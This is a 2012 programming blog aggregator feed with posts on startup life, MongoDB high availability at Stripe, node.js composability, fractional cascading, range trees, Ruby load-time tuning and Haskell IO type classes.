May 16, 2012

What happens when you mix three research programming languages together

by Edward Z. Yang at May 16, 2012 06:54 AM

May 14, 2012

Startups Are Hard

Startups are hard.

They’re an emotional roller coaster. On any given day, it’s equally likely that you’ll feel like your company is on an inevitable path to success as it is you’ll wonder whether the company will even exist tomorrow. But most of the time you’re too busy focusing on your work to feel much of anything at all.

Figuring out what problem your startup should solve is hard on its own, but every minute of every day you’re faced with a similar decision that you have to make on the fly. Out of the infinite space of possible ways you could be spending your time, which tasks should you pick? When there are multiple known bugs to fix, complicated customer queries to answer, and new feature development that’s been on your todo list for months, you need to efficiently prioritize and decide what needs to be done now and what will have to wait until later.

You have to spend time doing things you don’t like, or complete a job you are completely unqualified to do. Maybe you have to become an expert in some arcane system, and you have to do it on a tight deadline (true story). Or maybe you just want your company to have T-shirts, and you have to figure out how this Photoshop thing works (also a true story).

So why do so many people insist on working at startups? I can’t speak for anyone else, but I can tell you why I do.

I get to spend every day working towards something great. Even when the emotional roller coaster goes through a dip, I know that the goal we’re all working towards is worthwhile. The feedback loop between my work and its impact on the world is incredibly tight.

I get to solve hard problems every day. Technical challenges are easy enough to find at any job, but I can’t imagine another environment that forces you to tackle so many challenges at once. You need to figure out how to be efficient, how to work with others effectively, and how to prioritize and manage your own work. At the end of every day, I’ve learned a ton, whether technically, personally, or professionally.

And finally, I get to work with awesome people. At a startup, you have the opportunity to build a team that conforms to whatever standards you find important. I have the incredible fortune that everyone I work with is an amazing individual who has a ton to teach me and whom I really enjoy being around.

In my book, most of the mythos around startups is exaggerated. You don’t have to work insane hours, and you don’t have to give up your social life. But I can’t imagine doing a company without having a desire to explore new things and possessing a healthy tolerance for pain. A startup is simultaneously the best and worst parts of my life, but there’s no doubt that I am far better off for it.

by gdb at May 14, 2012 04:26 PM

May 13, 2012

Some thoughts about literature review

by Edward Z. Yang at May 13, 2012 11:03 PM

May 07, 2012

High Availability with MongoDB for Fun and Profit

I gave a talk on Friday at MongoSF on how to run MongoDB for high availability. The slides are posted on slideshare, but without speaker’s notes they’re probably not all that useful. Sorry about that. But to try to make it up to you, I’m going to go through the talk’s contents in the remainder of this post. As well, the video from the talk is now (highly) available on the 10gen website.

For a company like Stripe, availability is incredibly important. If we are unable to accept an API request, that causes downtime not just for us but also for our customers. Since the limiting factor on availability for many applications is the database (if that’s down, you can’t serve any requests), when choosing a database we sought to find one that allows maximum availability.

In an ideal world, your highly-available database would be a collection of indistinguishable nodes. You could add or remove nodes from the pool without any service interruption, and your nodes can fail or become partitioned from one another without downtime. Unfortunately, there are theoretical results which show that such a database can’t exist. So any real distributed database needs to make tradeoffs.

MongoDB has one of the cleanest availability models of commercially-available databases that I’ve seen. MongoDB nodes are clustered into replica sets. Each node in a replica set contains a full copy of the data. At any given time, there is at most one primary, which is the only node capable of accepting writes. If that node fails or is asked to step down, an election occurs and a new primary is selected. Any node can accept reads, though reads to secondaries are not guaranteed to be consistent. There is no single point of failure or manual administration needed to promote a secondary. Determination of the current cluster configuration is managed by a smart client driver; the application writer needs only to provide the driver with a set of seed nodes to establish an initial connection.

The one case that you as an application writer need to worry about is in the midst of cluster reconfiguration. When the set begins reconfiguring, the servers close all open connections. Any mongo operations will fail until the cluster reconfiguration has completed. Your driver will then bubble this as an error to the application level. (In general, it doesn’t have enough information to know what to do in this case, so it bails. If for example an error is returned to a write, the client can’t tell whether that write was accepted or not.) So to achieve robustness in the case of cluster reconfigurations, you need to write code to handle these exceptions.

At Stripe, we make all of our writes idempotent. We then wrap all Mongo operations in retry logic — if the operation throws an exception, we simply retry it until it succeeds (with an appropriate backoff and timeout). Note that your concurrency model needs to be considered when evaluating whether a write is truly idempotent — make sure a conflicting write can’t sneak in between tries.

With this retry code, our application then can handle arbitrary failures or routine reconfigurations of our Mongo cluster. I come from a MySQL world where I couldn’t even reboot my master server for routine maintenance. Being able to withstand the catastrophic failure of our database primary without any service interruption was basically a dream come true.

That’s really all the code you need to write for high availability with MongoDB. However, you also need to use proper administration and deployment techniques to ensure you don’t take yourself down. You’re most vulnerable during replica set reconfigurations, and so you should minimize the number of times you have to do one. While replica set reconfigurations should be safe, it’s plausible to accidentally be in a world where no node is eligible to become primary. As well, if there’s been lots of flapping, we’ve seen primary election take a minute or more, causing pending requests to timeout. You should always make sure to test your administration procedures in your staging environment to make sure they’re safe. One gotcha we’ve hit is that a recently-booted Mongo node isn’t eligible to become a primary unless all nodes in the cluster are up. In our staging environment, we had been fairly slow while testing a MongoDB version upgrade. In production, we were much faster, and when we tried to fail over to a recently-upgraded node, suddenly we had no eligible primary node.

One operation we’ll commonly perform is a rebuild of all machines in our database cluster. We used to rebuild one node at a time, adding it to the pool, waiting for a full sync, and then removing the corresponding old node. This required a decent number of replica set reconfigurations, and it was pretty miserable to perform. These days, we instead just add all the new nodes to the pool, allow them to sync, fail over the primary, and then remove the old ones.

If you build your new node via an initial sync rather than restoring from a snapshot, you should make sure to force that node to sync from a secondary. Otherwise, you’ll end up with your primary reading through all of its data, evicting hot data from cache. This can cause severe performance issues. In the current version of MongoDB, however, there’s no supported way to force a sync from a particular server (this feature was recently added to the development version). If you read the source, however, you’ll see that the new node selects the node with lowest ping time to sync from. So we just drop in an iptables rule blackholing traffic from the new node to the primary, wait for it to select its sync target, and then remove the iptables rule. This technique is obviously a giant hack, and I’m looking forward to just use replSetSyncFrom instead .

One nonobvious point when configuring your replica sets is how to address the machines. Mongo can use either IP addresses or hostnames. (Fun fact: hostnames are dynamically resolved and connections are frequently reestablished. So if you munge /etc/hosts, you can easily repoint a particular hostname.) When rebuilding a cluster, we like to reuse hostnames, e.g. creating a new server db1 to replace the old db1. But these nodes have to exist in the replica set at the same time. So we used to add the new node with a temporary hostname, fail over the primary, remove the old nodes, munge /etc/hosts to point to the new nodes, and then reconfigure with the correct hostnames. But as much fun as it is munging /etc/hosts in the middle of database administration, it’s also very easy to make a mistake. These days, we just configure our replica sets with IP addresses. Then the machines can have whatever hostnames they want.

Perhaps the most common reason that many people go down is for routine maintenance. With MongoDB, it’s not too bad to never go down for maintenance. Since Mongo doesn’t enforce any particular schema, a common technique is to tag objects with a schema version number. You can then lazily migrate objects as you read them, or with a batch process that migrates them in the background (you just need to make your app be able to understand all active schema version numbers). One note is that I recommend against multi-updates for large collections (i.e. don’t run a batch db.update(…)).

Why not, you ask? You see, Mongo has a global write lock. Long running operations, such as a multi-update, yield the lock many times a second. However, if you are running at sufficient scale, they still hold the lock for long enough that contention begins to be a problem and queries start stacking up. As well, a multi-update will cause all the migrated records to be read, evicting hot data and further slowing down queries. So instead, at Stripe we perform all migrations at the application level. We iterate over all relevant objects, performing a single-record update for each. This allows us to slow down the pace and ensure that production traffic is not impacted.

Note that Mongo supports background index builds. Use these. You do have to be careful because, as a long-running operation, they can have production impact. However, we’ve found that these tend to be gentler than multi-updates, and we haven’t really seen issues from them.

In general, you should always be very thorough with your MongoDB usage and deployment. It turns out distributed systems are complicated. Don’t assume that your application can actually handle a particular failure case (e.g. what happens if my current primary suddenly becomes wedged but is still accepting TCP connections) — make sure you’ve actually tested it.

As well, you should be cognizant that MongoDB is under rapid development, which is great because it means new features are being added all the time. However, it also means that sometimes API changes happen, or sometimes regressions are introduced. Always wait at least a few weeks before upgrading to the latest version of MongoDB. And before you do, go and read the issues opened on that version, and ideally all of the issues resolved between your version and the newest one. It’s not very much fun, but it’s the best way to know what changes are in store for you.

I’ll close with a final point. Mongo gets a bad rap sometimes from people who use it incorrectly. E.g. people don’t put their driver into safe mode and then are surprised when they start losing writes. Make sure you’ve read the documentation, understand what the w and j parameters are, and that they’re tuned appropriately for your application. As well, pay attention to your system configuration (such as your ulimit on number of file descriptors) to make sure you don’t end up running into surprises down the road.

MongoDB provides a rich set of primitives for high availability. Through a little bit of code and a lot of proper administration technique, you can achieve essentially 100% uptime on your database, even in the presence of catastrophic machine failure. I’d be curious to hear how people have achieved this with other database systems — let me know if you have techniques you’d like to share.

by gdb at May 07, 2012 03:59 PM

April 20, 2012

How Ur/Web records work and what it might mean for Haskell

data Foo = Foo { bar :: Int, baz :: Bool }

type foo = { Bar : int, Baz : bool }

datatype foo = Foo of { Bar : int, Baz : bool }

type foo' = { Bar : int, Baz : bool }
datatype foo = Foo of foo'

type foo = { Bar : int, Baz : bool }

type foo = $[ Bar = int, Baz = bool ]

by Edward Z. Yang at April 20, 2012 05:24 AM

April 17, 2012

Use the source, don’t read it

by Edward Z. Yang at April 17, 2012 04:51 PM

March 24, 2012

Reduce Ubuntu latency by disabling mDNS

by Edward Z. Yang at March 24, 2012 07:56 PM

March 20, 2012

Visit month: Princeton

by Edward Z. Yang at March 20, 2012 01:00 PM

March 18, 2012

Is it better to teach formalism or intuition?

Note: this is not a discussion of Hilbert's formalism versus Brouwer's intuitionism; I'm using formalism and intuition in a more loose sense, where formalism represents symbols and formal systems which we use to rigorously define arguments (though not logic: a sliding scale of rigor is allowed here), while intuition represents a hand-wavy argument, the mental model mathematicians actually carry in their head.

Formalism and intuition should be taught together.

But as utterly uncontroversial as this statement may be, I think it is worth elaborating why this is the case—the reason we find will say important things about how to approach learning difficult new technical concepts.

Taken in isolation, formalism and intuition are remarkably poor teachers. Have you had the reading a mathematical textbook written in the classic style, all of the definitions crammed up at the beginning of the chapter in what seems like a formidable, almost impenetrable barrier. One thinks, "If only the author had bothered to throw us a few sentences explaining what it is we're actually trying to do here!" But at the same time, I think that we have all also had the experience of humming along to a nice, informal description, when we really haven't learned much at all: when we sit down and try to actually solve some problems, we find these descriptions frustratingly vague. It's easy to conclude that there really is no royal road to intuition, that it must be hard won by climbing the mountains of formalism.

So why is the situation any different when we put them together?

The analogy I like is this: formalism is the object under study, whereas intuition is the results of such a study. Imagine an archaeologist who is attempting to explain to his colleagues a new conclusion he has drawn from a recently excavated artifact. Formalism without intuition is the equivalent of handing over the actual physical artifact without any notes. You can in principle reconstruct the conclusions, but it might take a while. Intuition without formalism, however, is the equivalent of describing your results over the phone. It conveys some information, but not with the resolution or fidelity of actually having the artifact in your hands.

This interpretation explains a bit about how I learn mathematics. For example, most mathematical formalisms aren't artifacts you can "hold in your hand"—at least, not without a little practice. Instead, they are giant mazes, of which you may have visibility of small fragments of at a time. (The parable of the blind men and the elephant comes to mind.) Being able to hold more of the formalism in your head, at once, increases your visibility. Being able to do quick inference increases your visibility. So memorization and rote exercise do have an important part to play in learning mathematics; they increase our facility of handling the bare formalism.

However, when it comes to humans, intuition is our most powerful weapon. With it, we can guess that things are true long before we have any good reason of thinking it is the case. But it is inextricably linked to the formalism which it describes and a working intuition is no where near as easily transferable as a description of a formal system. Intuition is not something you can learn; it is something that assists you as you explore the formalism: "the map of intuition." You still have to explore the formalism, but you shouldn't feel bad about frequently consulting your map.

I've started using this idea for when I take notes in proof-oriented classes, e.g. this set of notes on the probabilistic method (PDF). The text in black is the formal proof; but interspersed throughout there are blue and red comments trying to explicate "what it is we're doing here." For me, these have the largest added value of anything the lecturer gives, since I find these remarks are usually nowhere to be seen in any written notes or even scribe notes. I write them down even if I have no idea what the intuition is supposed to mean (because I'll usually figure it out later.) I've also decided that my ideal note-taking setup is already having all of the formalism written down, so I can pay closer attention to any off-hand remarks the lecturer may be making. (It also means, if I'm bored, I can read ahead in the lecture, rather than disengage.)

We should encourage this style of presentation in static media, and I think a crucial step towards making this possible is easier annotation. A chalkboard is a two-dimensional medium, but when we LaTeX our presentation goes one-dimensional, and we rely on the written word to do most of the heavy lifting. This is fine, but a bit of work, and it means that people don't do it as frequently as we might like. I'm not sure what the best such system would look like (I am personally a fan of hand-written notes, but this is certainly not for everyone!), but I'm optimistic about the annotated textbooks that are coming out from the recent spate of teaching startups.

For further reading, I encourage you to look at William Thurston's essay, On proof and progress in mathematics, which has had a great influence on my thoughts in this matter.

by Edward Z. Yang at March 18, 2012 08:51 PM

March 16, 2012

Visit month: University of Pennsylvania

I'm hoping that this will be the beginning of a series of posts describing all of the visit days/open houses that I attended over the past month. Most of the information is being sucked out of the notes I took during the visits, so it's very stream of consciousness style. It's kind of personal, and I won't be offended if you decide not to read. You've been warned!

I arrive at the Inn at Penn shortly before midnight, and check in. Well, attempt it; they appear to have no reservation on hand. It appears that I hadn't actually registered for the visit weekend. Oops.

Sam tells me later that first impressions stick, and that her first impression of me was a thoroughly discombobulated PhD admit. Ruffle up my hair! Ask if they're a fellow CS PhD admit, whether or not they have a room, oh, and by the way, what is your name? (I didn't realize that was the real sticking point until she told me about it at the end of the CMU visit.) But Brent is on IRC and I ping him and he knows a guy named Antal who is also visiting UPenn so I give him a call and he lends me his room for a night and things are good. (Mike, the graduate studies coordinator, is kind of enough to fit me into schedules the next day. Thank you Mike!)

I've been to UPenn before. I visited with my Dad; Roy Vagelos was former CEO of Merck and a large influence on UPenn, and at one point I had private aspirations of doing my undergraduate degree in something non-CS before hopping to computer science graduate school. But when the MIT and Princeton admissions came UPenn got soundly bumped off the table, and this experience was wrapped up and stowed away. But I recognized small pieces of the campus from that visit, stitched together with the more recent experience of Hac Phi and POPL. Our tour of Philadelphia lead us to the Bed and Breakfast I stayed at POPL, and I was Surprised™.

Benjamin Pierce is flying off to Sweden for WG 2.8 (a magical place of fairies, skiing and functional programming), so he's only around for the morning presentations, but during breakfast he talks a bit about differential privacy to a few of the candidates, and then heads up the presentations. I hear from his students that he’s gotten quite involved with the CRASH project, and is looking a lot more at the hardware side of things. One of the remarkable things that I heard in the morning talks was how programming languages has sort of leaked into all of the CS research that was presented (or maybe that was just selection bias?) Well, not everyone: the machine learning researchers just “want to do a lot of math” (but maybe we still get a little worried about privacy.)

UPenn is well known for its PL group, where “we write a little bit of Greek every day.” It’s really quite impressive walking into the PL lunch, with a battalion of grad students lined up against the back wall cracking jokes about Coq and Haskell and the presentation is about F*.

Here are some "facts". At UPenn you spend two semesters TAing, there’s an office lottery but people in the same group tend to cluster together, you don’t have to work on grants, the professors are super understanding of graduate student's life situations, the living costs are around $500/mo, and that it is a very laid back place. Your advisor is very much in charge of your degree, except once a year when there's a department wide review to check no one falls through the cracks. The drop-out rate is low. UPenn has a nice gym which is $400/yr. Biking Philadelphia is great, but you shouldn't live in grad housing. Because there is a power trio of Pierce, Zdancewic and Weirich, when it comes time for you to form your thesis committee, the other two profs who aren't your advisor serve on your committee. The PL group is in a slightly unusual situation where there aren't any 2nd or 3rd year students (this was due to a double-sabbatical one year, and bad luck of the draw another.) But there are infinitely many 1st year students. You have to take three laid back exams. Philadelphia is a nice and large city (5th biggest!) UPenn and CMU are perhaps the biggest pure programming languages departments out of the places I visited.

Stephanie Weirich is super-interested in dependently typed languages. She wants to find out how to get functional programmers to use dependent types, and she's attacking it from two sides: you can take a language like Haskell for which we are adding more and more features moving it towards dependent types, and you can build a language from scratch like TRELLYS which attempts to integrate dependent types in a usable way. She’s not shy about giving 1st years really hard projects, but she's happy to do random stuff with students. She reflects on Dimitrios Vytiniotis' trajectory: where he discovered his true calling with polymorphism and Haskell, and is now off designing crazy type systems with Simon Peyton Jones at Microsoft Research. “I can’t make you go crazy about a topic,” (in the good sense) but she’s interested in helping you find out what lights you on fire. I ask her about the technical skills involved in developing metatheory for type systems (after all, it’s very rare for an undergraduate to have any experience in this sort of thing): she tells me it’s all about seeing lots of examples, figuring out what’s going to get you in trouble. (In some sense, it’s not “deep”, although maybe any poor computer scientist who has tried to puzzle out the paper of a type theorist might disagree.)

Steve Zdancewic has a bit more spread of research interests, but one of the exciting things coming out is the fact that they have Coq infrastructure for LLVM that they've been working on over the course of the year, and now it's time to use the infrastructure for cool things, such as do big proofs and figure out what's going on. There have been a lot of cases where doing just this has lead to lots of interesting insights (including realization that many proofs were instances of a general technique): mechanized verification is a good thing. He also has some side projects, including compilers for programming languages that will execute on quantum computers (all the computations have to be reversible! There is in fact a whole conference on this; it turns out you can do things like reduce heat emissions.) There's also a bit of interest in program synthesis. Steve echoes Stephanie when he says, “I am enthusastic about anything that my students are interested in enough to convince me to be enthusiastic about.” They don’t do the chemistry model of getting a PhD, where you “use this pipette a hundred million times.”

In the words of one grad student, these are professors that are “friendly and much smarter than you!” They’re happy to play around and have fun with programming languages concepts (as opposed to the very hard core type theory research happening at CMU; but more on that later.)

We'll close with a picture, seen in the neighborhoods of Philadelphia.

by Edward Z. Yang at March 16, 2012 05:59 AM

March 12, 2012

Why node.js is cool (it’s not about performance)

For the past N months, it seems like there is no new technology stack that is either hotter or more controversial than node.js. node.js is cancer! node.js cures cancer! node.js is bad ass rock star tech!. I myself have given node.js a lot of shit, often involving the phrase “explicit continuation-passing style.”

Most of the arguments I’ve seen seem to center around whether node.js is “scalable” or high-performance, and the relative merits of single-threaded event loops versus threading for scaling out, or other such noise. Or how to best write a Fibonacci server in node.js (wat?).

I am going to completely ignore all of that (and I think you should, too!), and argue that node.js is in fact on to something really cool, and is worth using and thinking about, but for a reason that has absolutely nothing to do with scalability or performance.

The Problem

node.js is cool because it solves a problem shared by virtually every mainstream language. That problem is the fact that, as long as “ordinary” blocking code is the default, it is difficult and unnatural to write networked code in a way that it can be combined with other network code, while allowing them to interact.

In most languages/environments — virtually every other language people use today — when you write networked code, you can either make it fully blocking itself, and implement your own main loop — which is almost always easiest — or you can pick your favorite event loop library (you probably have half a dozen choices), and write your code around that. If you do the latter, not only will your code likely be more awkward than if you chose the blocking main loop approach, but your only reward for the effort is that your code is combinable with the small fraction of other code that also chose the same event loop library.

The upshot of this situation is that if you pick a couple of random networked libraries written by different people — let’s say, an HTTP server, a Twitter client, and an IRC client, for example — and want to combine them — maybe you want a Twitter < -> IRC bridge with a web-based admin panel — you will end up at best having to write some awkward glue code, and at worst doing something truly hackish in order to make them communicate at all.

(In case you’re not convinced about the existence or scope of this problem, you can detour ahead to the optional example of how this problem manifests with typical Python libraries)

Enter node.js

node.js solves this problem, somewhat paradoxically by reducing the number of options available to developers. By having a built-in event loop, and by making that event loop the default way to accomplish virtually anything at all (e.g. all of the builtin IO functions work asynchronously on the same event loop), node.js provides a very strong pressure to write networked code in a certain way. The upshot of this pressure is that, since essentially every node.js library works this way, you can pick and choose arbitrary node.js libraries and combine them in the same program, without even having to think about the fact that you’re doing so.

node.js is cool, then, not for any performance or scalability reasons, but because it makes composable networked components the default.

Concluding Notes

An interesting point here is that there is not really any fundamental differences between what you can do in Python and node.js. The Twisted project, for example, is basically an attempt to implement the node.js ideology in Python (yes, I’m being terribly anachronistic describing it that way). Twisted, however, has a fairly steep learning curve, and “feels” unnatural to developers used to writing “normal” Python, and so relatively few libraries get written for the Twisted environment, compared to the rest of the Python ecosystem. Twisted suffers from the fact that the Python language and Python community are not set up to make Twisted the default way to do things.

The key is that node.js makes it, both technically and socially, easier to write code in this composable way than not to do so. The built-in event loop and nonblocking primitives make it technically easy, and the social culture that has grown up around it discourages libraries that don’t work this way, so libraries that attempt to just block for IO are looked down on and are unlikely to thrive and gain adoption and development resources.

I’m also not ignoring the downside of the node.js style — the potentially convoluted callback-based style, the risk of bringing the whole world to a halt with an accidental blocking call, the single-threaded model that makes it hard to effectively exploit multiple cores. node.js definitely makes you do more work than you might otherwise have to, in many circumstances. But the key is, in exchange for this work, you get something really cool — and something much more valuable, in my opinion, than nebulous performance gains.

I also don’t want to claim that node.js is the only system, or the only technical approach, that makes this property possible. But node.js is the most successful such system I know of, and that’s worth at least as much as the technical possibility — what’s the use of being able to combine third-party libraries, if no one has written anything worth using in the first place?

And similarly, while the single-threaded callback model may not be the best possible model, it seems to have hit some sweet spot for finding a sweet spot in terms of what developers are willing to put up with. Certainly, people are writing node.js code like mad — check out the npm registry for a partial list.

So, node.js is not magic, and it definitely doesn’t cure cancer. But there is something here worth looking at. The next time you need to glue some unrelated networked services together, give node.js a shot – I think you’ll like it. And if you’re still not convinced, glue a quick HTTP frontend onto whatever you’ve created. I promise you’ll be shocked by how easy it is.

Postscript – A Python Example

As an optional addendum, here’s a step-by-step discussion of how just bad the situation is in most other languages.

Let’s imagine we want to write a trivial Jabber -> IRC bridge: A bot that lurks in an IRC channel, and signs on to Jabber, and sends all the messages it receives on Jabber into the IRC channel. This is the kind of simple problem that can be described in one sentence, and sounds like it should take all of 20 lines of code, but actually turns out to be rather a nuisance.

Python has, by this point, a great library ecosystem, so we happily start googling, and find the plausible looking python-irclib and xmpppy libraries. Great. So, what does code in each of those look like? Well, in python-irclib, we construct a subclass of SingleServerIRCBot, and call the start function, which runs the IRC main loop:

bot = MyBot(channel, nickname, server, port)
bot.start()

And in xmpppy, we construct an xmpp.Client object, and call Client.Process in a loop, with a timeout:

conn = xmpp.Client(server)
# connect to the server
while True:
  conn.Process(1)

Ok, so, we launch a thread for each one, and a few minutes of fumbling later, we’re connected to both Jabber and IRC. So far, so good. We’re using Python’s threads, which will inevitably bring us a world of pain, but I’ll ignore that for now, since a better threading implementation could fix most of the pain.

But now, what do we do when we receive a Jabber message? We want to send a message out the python-irclib instance, but how do we do that? python-irclib isn’t thread safe, so we can’t just call .send() from the Jabber thread. Ok, so we add in a Queue.Queue, and have the Jabber thread push messages onto it.

Now we just need to make the IRC thread fetch messages from this queue. But how do we do that? The IRC thread is blocked somewhere deep inside python-irclib, waiting for network traffic. How do we wake it up to read messages from the queue? The easiest way is to switch from calling start to calling process_once in a loop with a short timeout.

This will work, and we’ll eventually get something working, but now we’re forced into polling, with all the annoying latency/CPU tradeoffs that entails, and also half of our code so far has just been spent gluing these two libraries together.

In node.js, on the other hand, we’d just instantiate client objects for both protocols, set up some event handlers, and … well, that’s about it. Because everything’s hooked into the same main loop, they’ll Just Work together, and because we’re all running single-threaded, we can mostly just communicate directly between the two libraries without having to think too hard about race conditions or anything.

The point, of course, is not that this is impossible to write this program in Python. It is, and I’ve done it, and it’s not that terrible. But any option you take will involve some annoying tradeoffs, and will involve making lots of irrelevant plumbing decisions about how to make your pieces play well together. And compared to all that, node.js feels like a breeze.

by nelhage at March 12, 2012 03:36 PM

March 05, 2012

You could have invented fractional cascading

Suppose that you have k sorted arrays, each of size n. You would like to search for single element in each of the k arrays (or its predecessor, if it doesn't exist).

Obviously you can binary search each array individually, resulting in a runtime. But we might think we can do better that: after all, we're doing the same search k times, and maybe we can "reuse" the results of the first search for later searches.

Here's another obvious thing we can do: for every element in the first array, let's give it a pointer to the element with the same value in the second array (or if the value doesn't exist, the predecessor.) Then once we've found the item in the first array, we can just follow these pointers down in order to figure out where the item is in all the other arrays.

But there's a problem: sometimes, these pointers won't help us at all. In particular, if a later lists is completely "in between" two elements of the first list, we have to redo the entire search, since the pointer gave us no information that we didn't already know.

So what do we do? Consider the case where k = 2; everything would be better if only we could guarantee that the first list contained the right elements to give you useful information about the second array. We could just merge the arrays, but if we did this in the general case we'd end up with a totally merged array of size , which is not so good if k is large.

But we don't need all of the elements of the second array; every other item will do!

Let's repeatedly do this. Take the last array, take every other element and merge it into the second to last array. Now, with the new second to last array, do this to the next array. Rinse and repeat. How big does the first array end up being? You can solve the recurrence: , which is the geometric series . Amazingly, the new first list is only twice as large, which is only one extra step in the binary search!

What we have just implemented is fractional cascading! A fraction of any array cascades up the rest of the arrays.

There is one more detail which has to be attended to. When I follow a pointer down, I might end up on an element which is not actually a member of the current array (it was one that was cascaded up). I need to be able to efficiently find the next element which is a member of the current array (and there might be many cascaded elements jammed between it and the next member element, so doing a left-scan could take a long time); so for every cascaded element I store a pointer to the predecessor member element.

Fractional cascading is a very useful transformation, used in a variety of contexts including layered range trees and 3D orthogonal range searching. In fact, it can be generalized in several ways. The first is that we can cascade some fixed fraction α of elements, rather than the 1/2 we did here. Additionally, we don't have to limit ourselves to cascading up a list of arrays; we can cascade up an arbitrary graph, merging many lists together as long as we pick α to be less than 1/d, where d is the in-degree of the node.

Exercise. Previously, we described range trees. How can fractional cascading be used to reduce the query complexity by a factor of ?

Exercise. There is actually another way we can setup the pointers in a fractionally cascaded data structure. Rather than have downward pointers for every element, we only maintain pointers between elements which are identical (that is to say, they were cascaded up.) This turns out to be more convenient when you are constructing the data structure. However, you now need to maintain another set of pointers. What are they? (Hint: Consider the case where a search lands on a non-cascaded, member element.)

by Edward Z. Yang at March 05, 2012 06:30 AM

February 26, 2012

Visualizing range trees

Range trees are a data structure which lets you efficiently query a set of points and figure out what points are in some bounding box. They do so by maintaining nested trees: the first level is sorted on the x-coordinate, the second level on the y-coordinate, and so forth. Unfortunately, due to their fractal nature, range trees a bit hard to visualize. (In the higher dimensional case, this is definitely a “Yo dawg, I heard you liked trees, so I put a tree in your tree in your tree in your...”) But we’re going to attempt to visualize them anyway, by taking advantage of the fact that a sorted list is basically the same thing as a balanced binary search tree. (We’ll also limit ourselves to two-dimensional case for sanity’s sake.) I’ll also describe a nice algorithm for building range trees.

Suppose that we have a set of points . How do we build a range tree? The first thing we do is build a balanced binary search tree for the x-coordinate (denoted in blue). There are a number of ways we can do this, including sorting the list with your favorite sorting algorithm and then building the BBST from that; however, we can build the tree directly by using quicksort with median-finding, pictured below left.

Once we’ve sorted on x-coordinate, we now need to re-sort every x-subtree on the y-coordinates (denoted in red), the results of which will be stored in another tree we’ll store inside the x-subtree. Now, we could sort each list from scratch, but since for any node we're computing the y-sorted trees of its children, we can just merge them together ala mergesort, pictured above right. (This is where the -1 in comes from!)

So, when we create a range-tree, we first quicksort on the x-coordinate, and then mergesort on the y-coordinate (saving the intermediate results). This is pictured below:

We can interpret this diagram as a range tree as follows: the top-level tree is the x-coordinate BBST, as when we get the leaves we see that all of the points are sorted by x-coordinate. However, the points that are stored inside the intermediate nodes represent the y-coordinate BBSTs; each list is sorted on the y-coordinate, and implicitly represents another BBST. I’ve also thrown in a rendering of the points being held by this range tree at the bottom.

Let’s use this as our working example. If we want to find points between the x-coordinates 1 and 4 inclusive, we search for the leaf containing 1, the leaf containing 4, and take all of the subtrees between this.

What if we want to find points between the y-coordinates 2 and 4 inclusive, with no filtering on x, we can simply look at the BBST stored in the root node and do the range query.

Things are a little more interesting when we actually want to do a bounding box (e.g. (1,2) x (4,4) inclusive): first, we locate all of the subtrees in the x-BBST; then, we do range queries in each of the y-BBSTs.

Here is another example (4,4) x (7,7) inclusive. We get lucky this time and only need to check one y-BBST, because the X range directly corresponds to one subtree. In general, however, we will only need to check subtrees.

It should be easy to see that query time is (since we may need to perform a 1-D range query on trees, and each query takes time). Perhaps less obviously, this scheme only takes up space. Furthermore, we can actually get the query time down to , using a trick called fractional cascading. But that’s for another post!

by Edward Z. Yang at February 26, 2012 08:41 AM

February 23, 2012

Anatomy of “You could have invented…”

by Edward Z. Yang at February 23, 2012 07:42 PM

February 20, 2012

Transcript of “Inventing on Principle”

by Edward Z. Yang at February 20, 2012 09:23 PM

February 18, 2012

Travel: Spring 2012 Edition

by Edward Z. Yang at February 18, 2012 03:55 PM

February 15, 2012

How to build DRM you can trust

by Edward Z. Yang at February 15, 2012 09:49 PM

February 06, 2012

Improving Ruby code load time

Slow code loading is an insidious problem. It tends to creep upon a codebase so gradually you don’t notice it happening. First you find yourself waiting a second, then a few seconds, then maybe ten or more seconds every time you want to reload your code to test out some change.

I recently wrote a tool to profile Ruby code load times. The tool, called require-prof, is implemented as a simple wrapper over Ruby’s require and load. It spits out a list of the most expensive files to load in your project (correctly subtracting out the time spent recursively requiring other files), so you can go and easily tune your project.

I’ve now used require-prof to greatly improve code load times on a few code bases. In no particular order, here are a few points that I’ve noticed:

1. A lot of my projects end up requiring mime-types for one reason or another, though none of them actually use its code. On my laptop, loading mime-types takes about 200 milliseconds because it spends a bunch of time loading and registering all of its hardcoded mime types. I have a patched mime-types so that, if ENV["RUBY_MIME_TYPES_LAZY_LOAD"] is set to "true", it will lazily do the parsing at runtime. This drops the mime-types load time to a few milliseconds.
2. If you have lots of files, make sure to pass an absolute path to require. Otherwise, it will search through your entire load path on every require, which can become pretty expensive. This may be most easily implemented using a wrapper around require, for example using a simple function such as:

     def base_require(relpath)
       require File.expand_path(File.join(File.dirname(__FILE__), relpath))
     end
   

   in a top-level file of your project.

3. This may go without saying, but a warm disk cache makes a huge difference. When using something like require-prof to find your bottlenecks, make sure to load your code once to ensure it’s all in cache before paying attention to any of the numbers you see.
4. The mail gem is incredibly slow to load (about a second or two on my laptop). A lot of the slowness is due to loading its giant autogenerated parsers. I didn’t dig enough to both figure out how to make it load quickly and still not break, but in my projects I shifted over to dynamically loading it when needed.

Once your code load time has been tuned to your satisfaction, the next most important operation is to ensure that you don’t end up back where you started a few months down the time. I’ve been considering adding alerts to my code that complain loudly whenever it takes over a certain amount of time to load, but I haven’t quite decided on the best way of doing so.

by gdb at February 06, 2012 07:50 PM

January 28, 2012

POPL

by Edward Z. Yang at January 28, 2012 01:30 PM

January 24, 2012

Modelling IO: MonadIO and beyond

class (Monad m) => MonadError e m | m -> e where
  throwError :: e -> m a
  catchError :: m a -> (e -> m a) -> m a

class MonadIO m => MonadCatchIO m where
  catch   :: Exception e => m a -> (e -> m a) -> m a
  block   :: m a -> m a
  unblock :: m a -> m a

class MonadException m where
  throwM  :: Exception e => e -> m a
  catch   :: Exception e => m a -> (e -> m a) -> m a
  mask    :: ((forall a. m a -> m a) -> m b) -> m b

class Monad m => MonadMorphIO m where
  morphIO :: (forall b. (m a -> IO b) -> IO b) -> m a

class MonadIO m => MonadPeelIO m where
  peelIO :: m (m a -> IO (m a))

class MonadBase b m => MonadBaseControl b m | m -> b where
  data StM m :: * -> *
  liftBaseWith :: (RunInBase m b -> b a) -> m a
  restoreM :: StM m a → m a
type RunInBase m b = forall a. m a -> b (StM m a)

by Edward Z. Yang at January 24, 2012 06:31 PM

January 23, 2012

Building domaincli in a weekend with Stripe and Internet.bs

One of the most beautiful aspects of Stripe is how it lowers the barrier for software developers to build revenue-creating businesses. Before Stripe, programmatically accepting payments was largely reserved for large companies willing to put in the time and drudgery required to obtain a merchant account. It was easy to write applications, easy to deploy applications, but very hard to charge for applications .

